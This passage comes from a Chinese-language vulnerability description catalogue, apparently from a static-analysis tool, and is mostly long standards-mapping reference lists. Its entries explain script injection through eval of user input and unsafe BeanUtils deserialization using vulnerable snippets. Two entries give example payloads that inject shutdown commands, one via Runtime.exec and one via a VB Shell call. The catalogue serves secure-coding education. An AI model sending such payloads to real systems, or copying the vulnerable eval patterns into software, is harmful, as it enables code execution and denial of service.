[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.dynamic_code_evaluation_script_injection
Abstract
在运行时解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,JavaScript 允许调用 Java 对象;如果攻击者计划将 " java.lang.Runtime.getRuntime().exec("shutdown -h now")" 指定为 operation 的值,则主机系统就会执行关机命令。
References
[1] INJECT-8: Take care interpreting untrusted code Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A03 Injection
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[36] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[37] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_script_injection
Abstract
在运行时解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
userOp = form.operation.value;
calcResult = eval(userOp);
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为“8 + 7 * 2”时,calcResult 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。对于 JavaScript,攻击者还可以利用这种漏洞进行 cross-site scripting 攻击。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.dynamic_code_evaluation_script_injection
Abstract
从不受信任的数据源执行任意源代码指令会导致系统执行恶意代码。
Explanation
许多现代语言都允许动态解析源代码指令。如果程序员需要由用户提供的指令对数据操作,这种情况下可以应用这种功能。当然,我们更愿意利用底层语言构造,而不是通过执行代码来解析用户输入。由用户提供的指令预期执行一些无害的操作,例如,对当前的用户对象进行简单计算或修改用户对象的状态,等等。然而,如果程序员不够细心,用户指定的操作范围可能会超出程序员最初的设想。

示例 1:允许用户指定底层编程构造的典型示例应用程序是计算器。以下 ASP 代码可接受由用户指定的要进行计算并返回结果的基本数学操作:


...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...


operation 参数为“8 + 7 * 2”的示例中,程序的预期行为是可行的。strResult 变量应返回的值为 22。然而,如果用户打算指定其他有效的语言操作,那么系统不仅会执行这些操作,还会在对主进程具有完全权限的情况下执行。如果底层语言提供了访问系统资源的途径,或者允许执行系统命令,那么执行任意代码会更加危险。例如,如果攻击者打算将 operation 指定为“Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')”,主机系统会执行关机命令。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.vb.dynamic_code_evaluation_script_injection
Abstract
使用 BeanUtils 对用户控制的对象进行反序列化,可能允许攻击者在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
Explanation
BeanUtils 用于反序列化用户控制的数据,在本例中为 Redis Hash,它包含要分配给对象字段的类型鉴别器和值。 BeanUtils 通过调用这些字段的资源库重构对象,允许攻击者将任意数据传递给任意类资源库。 如果攻击者可以指定要重构的对象类,并能够强制应用程序运行具有用户控制的数据的任意资源库,则在 Redis Hash 反序列化期间他们也许能够执行任意代码。

示例 1:以下代码使用 BeanUtilsHashMapper 反序列化 Redis Hash,这可能允许攻击者控制此类 Hash 来运行任意代码。


HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class);
Person p = hashMapper.fromHash(untrusted_map);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 502
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[21] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
